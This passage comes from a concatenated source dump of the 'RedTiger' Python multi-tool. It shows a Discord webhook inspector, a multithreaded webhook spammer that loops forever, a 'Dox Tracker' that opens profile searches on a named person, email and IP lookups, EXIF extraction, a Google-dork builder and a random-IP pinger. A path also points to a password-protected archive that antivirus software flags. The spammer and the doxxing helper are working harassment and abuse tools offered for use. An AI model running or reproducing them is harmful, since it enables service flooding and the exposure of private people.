75 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Error{red} Webhook: {white}{webhook_test_code}{red}")
76 |
77 | def request():
78 | threads = []
79 | try:
80 | for _ in range(int(threads_number)):
81 | t = threading.Thread(target=webhook_check)
82 | t.start()
83 | threads.append(t)
84 | except:
85 | ErrorNumber()
86 |
87 | for thread in threads:
88 | thread.join()
89 |
90 | while True:
91 | request()
92 | except Exception as e:
93 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Webhook-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 |
19 | Title("Discord Webhook Info")
20 |
21 | try:
22 | def info_webhook(webhook_url):
23 | headers = {
24 | 'Content-Type': 'application/json',
25 | }
26 |
27 | response = requests.get(webhook_url, headers=headers)
28 | webhook_info = response.json()
29 |
30 | webhook_id = webhook_info.get('id', "None")
31 | webhook_token = webhook_info.get('token', "None")
32 | webhook_name = webhook_info.get('name', "None")
33 | webhook_avatar = webhook_info.get('avatar', "None")
34 | webhook_type = "bot" if webhook_info.get('type') == 1 else "webhook utilisateur"
35 | channel_id = webhook_info.get('channel_id', "None")
36 | guild_id = webhook_info.get('guild_id', "None")
37 |
38 | print(f"""
39 | {INFO_ADD} ID : {white}{webhook_id}{red}
40 | {INFO_ADD} Token : {white}{webhook_token}{red}
41 | {INFO_ADD} Name : {white}{webhook_name}{red}
42 | {INFO_ADD} Avatar : {white}{webhook_avatar}{red}
43 | {INFO_ADD} Type : {white}{webhook_type}{red}
44 | {INFO_ADD} Channel ID : {white}{channel_id}{red}
45 | {INFO_ADD} Server ID : {white}{guild_id}{red}
46 | """)
47 |
48 | if 'user' in webhook_info:
49 | user_info = webhook_info['user']
50 |
51 | user_id = user_info.get('id', "None")
52 | username = user_info.get('username', "None")
53 | display_name = user_info.get('global_name', "None")
54 | discriminator = user_info.get('discriminator', "None")
55 | user_avatar = user_info.get('avatar', "None")
56 | user_flags = user_info.get('flags', "None")
57 | accent_color = user_info.get('accent_color', "None")
58 | avatar_decoration = user_info.get('avatar_decoration_data', "None")
59 | banner_color = user_info.get('banner_color', "None")
60 |
61 | print(f"""
62 | {red}User information associated with the Webhook:
63 | {INFO_ADD} ID : {white}{user_id}{red}
64 | {INFO_ADD} Name : {white}{username}{red}
65 | {INFO_ADD} DisplayName : {white}{display_name}{red}
66 | {INFO_ADD} Number : {white}{discriminator}{red}
67 | {INFO_ADD} Avatar : {white}{user_avatar}{red}
68 | {INFO_ADD} Flags : {white}{user_flags} Publique: {user_flags}{red}
69 | {INFO_ADD} Color : {white}{accent_color}{red}
70 | {INFO_ADD} Decoration : {white}{avatar_decoration}{red}
71 | {INFO_ADD} Banner : {white}{banner_color}{red}
72 | """)
73 |
74 | webhook_url = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {color.RESET}")
75 | if CheckWebhook(webhook_url) == False:
76 | ErrorWebhook()
77 | info_webhook(webhook_url)
78 | Continue()
79 | Reset()
80 | except Exception as e:
81 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Webhook-Spammer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import json
16 | import threading
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Discord Webhook Spammer")
21 |
22 | try:
23 | webhook_url = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {reset}")
24 | if CheckWebhook(webhook_url) == False:
25 | ErrorWebhook()
26 | message = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Message -> {reset}")
27 |
28 | try:
29 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
30 | except:
31 | ErrorNumber()
32 |
33 | def send_webhook():
34 | headers = {
35 | 'Content-Type': 'application/json'
36 | }
37 | payload = {
38 | 'content': message,
39 | 'username': username_webhook,
40 | 'avatar_url': avatar_webhook
41 | }
42 | try:
43 | response = requests.post(webhook_url, headers=headers, data=json.dumps(payload))
44 | response.raise_for_status()
45 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Message: {white}{message}{color.GREEN} Status: {white}Send{color.GREEN}")
46 | except:
47 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Message: {white}{message}{red} Status: {white}Rate Limit{red}")
48 |
49 | def request():
50 | threads = []
51 | try:
52 | for _ in range(int(threads_number)):
53 | t = threading.Thread(target=send_webhook)
54 | t.start()
55 | threads.append(t)
56 | except:
57 | ErrorNumber()
58 |
59 | for thread in threads:
60 | thread.join()
61 |
62 | while True:
63 | request()
64 | except Exception as e:
65 | Error(e)
--------------------------------------------------------------------------------
/Program/Dox-Tracker.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Dox Tracker")
19 |
20 | try:
21 | Slow(f"""{dox_banner}
22 | {BEFORE}00{AFTER} Back
23 | {BEFORE}01{AFTER}{white} Username
24 | {BEFORE}02{AFTER}{white} LastName, FirstName
25 | {BEFORE}03{AFTER}{white} Other
26 | """)
27 |
28 | search_type = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Search Type -> {reset}")
29 |
30 | if search_type in ['00', '0']:
31 | Reset()
32 |
33 | if search_type in ['01', '1']:
34 | search = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Username -> {reset}")
35 | Censored(search)
36 |
37 | elif search_type in ['02', '2']:
38 | name = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} LastName -> {reset}")
39 | first_name = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} FirstName -> {reset}")
40 | Censored(name)
41 | Censored(first_name)
42 |
43 | elif search_type in ['03', '3']:
44 | search = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Search -> {reset}")
45 | Censored(search)
46 | else:
47 | ErrorChoice()
48 |
49 | if search_type in ['1', '01','2','02','3','03']:
50 | print(f"""
51 | {white}[{red}00{white}] {red}-> Back
52 | {white}[{red}01{white}] {red}->{white} Facebook.com
53 | {white}[{red}02{white}] {red}->{white} Youtube.com
54 | {white}[{red}03{white}] {red}->{white} Twitter.com
55 | {white}[{red}04{white}] {red}->{white} Tiktok.com
56 | {white}[{red}05{white}] {red}->{white} Peekyou.com
57 | {white}[{red}06{white}] {red}->{white} Tumblr.com
58 | {white}[{red}07{white}] {red}->{white} PagesJaunes.fr
59 | """)
60 | while True:
61 |
62 | if search_type in ['1', '01','2','02','3','03']:
63 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Site -> {color.RESET}")
64 |
65 | if choice in ['0', '00']:
66 | break
67 |
68 | elif choice in ['01', '1']:
69 | if search_type in ['01', '1', '3', '03']:
70 | webbrowser.open(f"https://www.facebook.com/search/top/?init=quick&q={search}")
71 | elif search_type in ['02', '2']:
72 | webbrowser.open(f"https://www.facebook.com/search/top/?init=quick&q={name}%20{first_name}")
73 |
74 | elif choice in ['02', '2']:
75 | if search_type in ['01', '1', '3', '03']:
76 | webbrowser.open(f"https://www.youtube.com/results?search_query={search}")
77 | elif search_type in ['02', '2']:
78 | webbrowser.open(f"https://www.youtube.com/results?search_query={name}+{first_name}")
79 |
80 | elif choice in ['03', '3']:
81 | if search_type in ['01', '1', '3', '03']:
82 | webbrowser.open(f"https://twitter.com/search?f=users&vertical=default&q={search}")
83 | elif search_type in ['02', '2']:
84 | webbrowser.open(f"https://twitter.com/search?f=users&vertical=default&q={name}%20{first_name}")
85 |
86 | elif choice in ['04', '4']:
87 | if search_type in ['01', '1', '3', '03']:
88 | webbrowser.open(f"https://www.tiktok.com/search?q={search}")
89 | elif search_type in ['02', '2']:
90 | webbrowser.open(f"https://www.tiktok.com/search?q={name}%20{first_name}")
91 |
92 | elif choice in ['05', '5']:
93 | if search_type in ['01', '1', '3', '03']:
94 | webbrowser.open(f"https://www.peekyou.com/{search}")
95 | elif search_type in ['02', '2']:
96 | webbrowser.open(f"https://www.peekyou.com/{name}_{first_name}")
97 |
98 | elif choice in ['06', '6']:
99 | if search_type in ['01', '1', '3', '03']:
100 | webbrowser.open(f"https://www.tumblr.com/search/{search}")
101 | elif search_type in ['02', '2']:
102 | webbrowser.open(f"https://www.tumblr.com/search/{name}%20{first_name}")
103 |
104 | elif choice in ['07', '7']:
105 | if search_type in ['01', '1', '3', '03']:
106 | webbrowser.open(f"https://www.pagesjaunes.fr/pagesblanches/recherche?quoiqui={search}")
107 | elif search_type in ['02', '2']:
108 | webbrowser.open(f"https://www.pagesjaunes.fr/pagesblanches/recherche?quoiqui={name}%20{first_name}")
109 |
110 | except Exception as e:
111 | Error(e)
--------------------------------------------------------------------------------
/Program/Email-Lookup.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import dns.resolver
15 | import requests
16 | import re
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Email Lookup")
21 |
22 | try:
23 | def get_email_info(email):
24 | info = {}
25 | try: domain_all = email.split('@')[-1]
26 | except: domain_all = None
27 |
28 | try: name = email.split('@')[0]
29 | except: name = None
30 |
31 | try: domain = re.search(r"@([^@.]+)\.", email).group(1)
32 | except: domain = None
33 | try: tld = f".{email.split('.')[-1]}"
34 | except: tld = None
35 |
36 | try:
37 | mx_records = dns.resolver.resolve(domain_all, 'MX')
38 | mx_servers = [str(record.exchange) for record in mx_records]
39 | info["mx_servers"] = mx_servers
40 | except dns.resolver.NoAnswer:
41 | info["mx_servers"] = None
42 | except dns.resolver.NXDOMAIN:
43 | info["mx_servers"] = None
44 |
45 |
46 | try:
47 | spf_records = dns.resolver.resolve(domain_all, 'SPF')
48 | info["spf_records"] = [str(record) for record in spf_records]
49 | except dns.resolver.NoAnswer:
50 | info["spf_records"] = None
51 | except dns.resolver.NXDOMAIN:
52 | info["spf_records"] = None
53 |
54 | try:
55 | dmarc_records = dns.resolver.resolve(f'_dmarc.{domain_all}', 'TXT')
56 | info["dmarc_records"] = [str(record) for record in dmarc_records]
57 | except dns.resolver.NoAnswer:
58 | info["dmarc_records"] = None
59 | except dns.resolver.NXDOMAIN:
60 | info["dmarc_records"] = None
61 |
62 | if mx_servers:
63 | for server in mx_servers:
64 | if "google.com" in server:
65 | info["google_workspace"] = True
66 | elif "outlook.com" in server:
67 | info["microsoft_365"] = True
68 |
69 | return info, domain_all, domain, tld, name
70 |
71 | email = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Email -> {reset}")
72 | Censored(email)
73 |
74 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
75 | info, domain_all, domain, tld, name = get_email_info(email)
76 |
77 | try:
78 | mx_servers = info["mx_servers"]
79 | mx_servers = ' / '.join(mx_servers)
80 | except Exception as e:
81 | mx_servers = None
82 |
83 | try:
84 | spf_records = info["spf_records"]
85 | except:
86 | spf_records = None
87 |
88 | try:
89 | dmarc_records = info["dmarc_records"]
90 | dmarc_records = ' / '.join(dmarc_records)
91 | except:
92 | dmarc_records = None
93 |
94 | try:
95 | google_workspace = info["google_workspace"]
96 | except:
97 | google_workspace = None
98 |
99 | try:
100 | mailgun_validation = info["mailgun_validation"]
101 | mailgun_validation = ' / '.join(mailgun_validation)
102 | except:
103 | mailgun_validation = None
104 |
105 | print(f"""
106 | {INFO_ADD} Email : {white}{email}{red}
107 | {INFO_ADD} Name : {white}{name}{red}
108 | {INFO_ADD} Domain : {white}{domain}{red}
109 | {INFO_ADD} Tld : {white}{tld}{red}
110 | {INFO_ADD} Domain All : {white}{domain_all}{red}
111 | {INFO_ADD} Servers : {white}{mx_servers}{red}
112 | {INFO_ADD} Spf : {white}{spf_records}{red}
113 | {INFO_ADD} Dmarc : {white}{dmarc_records}{red}
114 | {INFO_ADD} Workspace : {white}{google_workspace}{red}
115 | {INFO_ADD} Mailgun : {white}{mailgun_validation}{red}
116 | {color.RESET}""")
117 |
118 | Continue()
119 | Reset()
120 | except Exception as e:
121 | Error(e)
--------------------------------------------------------------------------------
/Program/FileDetectedByAntivirus/Password(redtiger).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Program/FileDetectedByAntivirus/Password(redtiger).zip
--------------------------------------------------------------------------------
/Program/Get-Image-Exif.py:
--------------------------------------------------------------------------------
1 | from Config.Util import *
2 | from Config.Config import *
3 | try:
4 | import piexif
5 | import exifread
6 | import base64
7 | import os
8 | import tkinter
9 | from PIL import Image
10 | from tkinter import filedialog
11 | except Exception as e:
12 | ErrorModule(e)
13 |
14 | Title("Get Image Exif")
15 |
16 | try:
17 | def ChooseImageFile():
18 | try:
19 | print(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the path to the image -> {reset}")
20 | image_file_types = [("Image files", "*.png;*.jpg;*.jpeg;*.gif;*.bmp;*.tiff"), ("All files", "*.*")]
21 |
22 | if sys.platform.startswith("win"):
23 | root = tkinter.Tk()
24 | root.iconbitmap(os.path.join(tool_path, "Img", "RedTiger_icon.ico"))
25 | root.withdraw()
26 | root.attributes('-topmost', True)
27 | file = filedialog.askopenfilename(parent=root, title=f"{name_tool} {version_tool} - Choose an image file", filetypes=image_file_types)
28 | elif sys.platform.startswith("linux"):
29 | file = filedialog.askopenfilename(title=f"{name_tool} {version_tool} - Choose an image file", filetypes=image_file_types)
30 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} File path: {white + file}")
31 | return file
32 | except:
33 | return input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the path to the image -> {reset}")
34 |
35 | def CleanValue(value):
36 | if isinstance(value, bytes):
37 | try:
38 | return value.decode('utf-8', errors='replace')
39 | except:
40 | return base64.b64encode(value).decode('utf-8')
41 | elif isinstance(value, (list, tuple)):
42 | return ', '.join(str(v) for v in value)
43 | elif isinstance(value, dict):
44 | return {k: CleanValue(v) for k, v in value.items()}
45 | else:
46 | return value
47 |
48 | def GetAllExif(image_path):
49 | exif_data = {}
50 |
51 | try:
52 | exif_dict = piexif.load(image_path)
53 | for ifd in exif_dict:
54 | if isinstance(exif_dict[ifd], dict):
55 | for tag in exif_dict[ifd]:
56 | tag_name = piexif.TAGS[ifd].get(tag, {"name": tag})["name"]
57 | raw_value = exif_dict[ifd][tag]
58 | exif_data[f"{tag_name}"] = CleanValue(raw_value)
59 | except:
60 | pass
61 |
62 | try:
63 | with open(image_path, 'rb') as f:
64 | tags = exifread.process_file(f, details=True)
65 | for tag in tags:
66 | label = tag.split()[-1]
67 | if label not in exif_data:
68 | exif_data[label] = CleanValue(str(tags[tag]))
69 | except:
70 | pass
71 |
72 | try:
73 | with Image.open(image_path) as img:
74 | width, height = img.size
75 | depth = len(img.getbands())
76 | exif_data['Dimension'] = f"{width}x{height}"
77 | exif_data['Width'] = width
78 | exif_data['Height'] = height
79 | exif_data['Depth'] = depth
80 | except Exception as e:
81 | exif_data["Image Error"] = str(e)
82 |
83 | try:
84 | exif_dict = piexif.load(image_path)
85 | for ifd in exif_dict:
86 | if isinstance(exif_dict[ifd], dict):
87 | for tag in exif_dict[ifd]:
88 | tag_name = piexif.TAGS[ifd].get(tag, {"name": tag})["name"]
89 | raw_value = exif_dict[ifd][tag]
90 | exif_data[f"{tag_name}"] = CleanValue(raw_value)
91 | except Exception as e:
92 | exif_data["PIEXIF_ERROR"] = str(e)
93 |
94 | try:
95 | file_stats = os.stat(image_path)
96 | exif_data['Name'] = os.path.basename(image_path)
97 | exif_data['Type'] = os.path.splitext(image_path)[1]
98 | exif_data['Creation date'] = time.ctime(file_stats.st_ctime)
99 | exif_data['Date modified'] = time.ctime(file_stats.st_mtime)
100 | exif_data['Attributes'] = oct(file_stats.st_mode)
101 | exif_data['Availability'] = 'Available' if os.access(image_path, os.R_OK) else 'Not available'
102 | exif_data['Offline Status'] = 'Online' if os.path.exists(image_path) else 'Offline'
103 | except Exception as e:
104 | exif_data["File Stats Error"] = str(e)
105 |
106 | if exif_data:
107 | max_key_length = max(len(k) for k in exif_data.keys())
108 |
109 | print()
110 | for key, value in sorted(exif_data.items(), key=lambda x: x[0].lower()):
111 | print(f" {INFO_ADD} {key.ljust(max_key_length)} : {white + str(value)}")
112 | time.sleep(0.01)
113 | print()
114 | else:
115 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} No information found.")
116 |
117 | Slow(osint_banner)
118 | image_path = ChooseImageFile()
119 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Searching for information in the roots of the image...")
120 | GetAllExif(image_path)
121 | Continue()
122 | Reset()
123 | except Exception as e:
124 | Error(e)
--------------------------------------------------------------------------------
/Program/Google-Dorking.py:
--------------------------------------------------------------------------------
1 | from Config.Util import *
2 | from Config.Config import *
3 | try:
4 | import webbrowser
5 | except Exception as e:
6 | ErrorModule(e)
7 |
8 | Title("Google Dorking")
9 |
10 | try:
11 | url = "https://www.google.com/search?q="
12 | inurl = None
13 | intitle = None
14 | site = None
15 | keyword = None
16 | filetype = None
17 | database = []
18 |
19 | def AddDataBase(request):
20 | database.append(request)
21 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} The query has been successfully added to the database.")
22 |
23 | Slow(f"""{osint_banner}
24 | {BEFORE}00{AFTER} Research
25 | {BEFORE}01{AFTER}{white} Keyword in the url of a site
26 | {BEFORE}02{AFTER}{white} Keyword in the title of a site
27 | {BEFORE}03{AFTER}{white} Specify a website
28 | {BEFORE}04{AFTER}{white} Keyword in pages
29 | {BEFORE}05{AFTER}{white} Keyword except in pages
30 | {BEFORE}06{AFTER}{white} File extension
31 | """)
32 |
33 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Several choices are possible, when you have finished put \"0\" to do the search.")
34 | while True:
35 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Research method -> {reset}")
36 |
37 | if choice in ['0', '00']:
38 | break
39 |
40 | elif choice in ['1', '01']:
41 | request = "inurl:" + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Keyword -> {reset}")
42 | AddDataBase(request)
43 |
44 | elif choice in ['2', '02']:
45 | request = "intitle:" + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Keyword -> {reset}")
46 | AddDataBase(request)
47 |
48 | elif choice in ['3', '03']:
49 | request = "site:" + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Domain -> {reset}")
50 | AddDataBase(request)
51 |
52 | elif choice in ['4', '04']:
53 | request = '"' + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Keyword -> {reset}") + '"'
54 | AddDataBase(request)
55 |
56 | elif choice in ['5', '05']:
57 | request = "-" + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Keyword -> {reset}")
58 | AddDataBase(request)
59 |
60 | elif choice in ['6', '06']:
61 | request = "filetype:" + input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Extension -> {reset}")
62 | AddDataBase(request)
63 |
64 | total_request = " ".join(database)
65 | url = url + total_request
66 |
67 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Total Request: {white + total_request}")
68 | webbrowser.open(url.replace(" ", "%20").replace("\"", "%22"))
69 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} The Google page is launched.")
70 |
71 | Continue()
72 | Reset()
73 | except Exception as e:
74 | Error(e)
--------------------------------------------------------------------------------
/Program/Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Info")
19 |
20 | try:
21 | print(f"\n{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
22 |
23 | Slow(f"""
24 | {INFO_ADD} Name Tool : {white}{name_tool}
25 | {INFO_ADD} Type Tool : {white}{type_tool}
26 | {INFO_ADD} Version : {white}{version_tool}
27 | {INFO_ADD} Copyright : {white}{copyright}
28 | {INFO_ADD} Coding : {white}{coding_tool}
29 | {INFO_ADD} Language : {white}{language_tool}
30 | {INFO_ADD} Creator : {white}{creator}
31 | {INFO_ADD} Platform : {white}{platform}
32 | {INFO_ADD} Site [W] : {white}https://{website}
33 | {INFO_ADD} GitHub [W] : {white}https://{github_tool}
34 | {INFO_ADD} Telegram [W] : {white}https://{telegram}
35 | {reset}""")
36 |
37 | license_read = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Open 'LICENSE' ? (y/n) -> {reset}")
38 | if license_read in ['y', 'Y', 'Yes', 'yes', 'YES']:
39 | webbrowser.open_new_tab(license)
40 | else:
41 | pass
42 | Continue()
43 | Reset()
44 | except Exception as e:
45 | Error(e)
--------------------------------------------------------------------------------
/Program/Ip-Generator.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import json
16 | import random
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Ip Generator")
21 |
22 | import concurrent.futures
23 | import random
24 | import subprocess
25 | import sys
26 | import requests
27 | import json
28 | import threading
29 |
30 | try:
31 | webhook = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook ? (y/n) -> {reset}")
32 | if webhook.lower() in ['y', 'yes']:
33 | webhook_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {reset}")
34 | CheckWebhook(webhook_url)
35 |
36 | try:
37 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
38 | except ValueError:
39 | ErrorNumber()
40 |
41 | def SendWebhook(embed_content):
42 | payload = {
43 | 'embeds': [embed_content],
44 | 'username': username_webhook,
45 | 'avatar_url': avatar_webhook
46 | }
47 |
48 | headers = {'Content-Type': 'application/json'}
49 |
50 | try:
51 | requests.post(webhook_url, data=json.dumps(payload), headers=headers)
52 | except requests.RequestException as e:
53 | print(f"{BEFORE + current_time_hour() + AFTER} Error sending webhook: {e}{reset}")
54 |
55 | number_valid = 0
56 | number_invalid = 0
57 |
58 | def IpCheck():
59 | global number_valid, number_invalid
60 | ip = ".".join(str(random.randint(1, 255)) for _ in range(4))
61 |
62 | try:
63 | if sys.platform.startswith("win"):
64 | result = subprocess.run(['ping', '-n', '1', ip], capture_output=True, text=True, timeout=0.1)
65 | elif sys.platform.startswith("linux"):
66 | result = subprocess.run(['ping', '-c', '1', '-W', '1', ip], capture_output=True, text=True, timeout=0.1)
67 | else:
68 | ErrorPlateform()
69 |
70 | if result.returncode == 0:
71 | number_valid += 1
72 | if webhook.lower() == 'y':
73 | embed_content = {
74 | 'title': 'Ip Valid !',
75 | 'description': f"**Ip:**\n```{ip}```",
76 | 'color': color_webhook,
77 | 'footer': {
78 | "text": username_webhook,
79 | "icon_url": avatar_webhook,
80 | }
81 | }
82 | SendWebhook(embed_content)
83 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Logs: {white}{number_invalid} invalid - {number_valid} valid{green} Status: {white}Valid{green} Ip: {white}{ip}{green}")
84 | else:
85 | number_invalid += 1
86 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Logs: {white}{number_invalid} invalid - {number_valid} valid{red} Status: {white}Invalid{red} Ip: {white}{ip}{red}")
87 | except Exception:
88 | number_invalid += 1
89 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Logs: {white}{number_invalid} invalid - {number_valid} valid{red} Status: {white}Invalid{red} Ip: {white}{ip}{red}")
90 | Title(f"Ip Generator - Invalid: {number_invalid} - Valid: {number_valid}")
91 |
92 | def Request():
93 | try:
94 | with concurrent.futures.ThreadPoolExecutor(max_workers=threads_number) as executor:
95 | executor.map(lambda _: IpCheck(), range(threads_number))
96 | except Exception as e:
97 | ErrorNumber()
98 |
99 | while True:
100 | Request()
101 |
102 | except Exception as e:
103 | Error(e)
104 |
105 |
--------------------------------------------------------------------------------
/Program/Ip-Lookup.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Ip Lookup")
19 |
20 | try:
21 | Slow(map_banner)
22 | ip = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Ip -> {reset}")
23 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Search for information..")
24 |
25 | try:
26 | response = requests.get(f"https://{website}/api/ip/ip={ip}")
27 | api = response.json()
28 |
29 | ip = api.get('ip')
30 | status = api.get('status')
31 | country = api.get('country')
32 | country_code = api.get('country_code')
33 | region = api.get('region')
34 | region_code = api.get('region_code')
35 | zip = api.get('zip')
36 | city = api.get('city')
37 | latitude = api.get('latitude')
38 | longitude = api.get('longitude')
39 | timezone = api.get('timezone')
40 | isp = api.get('isp')
41 | org = api.get('org')
42 | as_host = api.get('as')
43 |
44 | except:
45 | response = requests.get(f"http://ip-api.com/json/{ip}")
46 | api = response.json()
47 |
48 | status = "Valid" if api.get('status') == "success" else "Invalid"
49 | country = api.get('country', "None")
50 | country_code = api.get('countryCode', "None")
51 | region = api.get('regionName', "None")
52 | region_code = api.get('region', "None")
53 | zip = api.get('zip', "None")
54 | city = api.get('city', "None")
55 | latitude = api.get('lat', "None")
56 | longitude = api.get('lon', "None")
57 | timezone = api.get('timezone', "None")
58 | isp = api.get('isp', "None")
59 | org = api.get('org', "None")
60 | as_host = api.get('as', "None")
61 |
62 | Slow(f"""
63 | {INFO_ADD} Status : {white}{status}{red}
64 | {INFO_ADD} Country : {white}{country} ({country_code}){red}
65 | {INFO_ADD} Region : {white}{region} ({region_code}){red}
66 | {INFO_ADD} Zip : {white}{zip}{red}
67 | {INFO_ADD} City : {white}{city}{red}
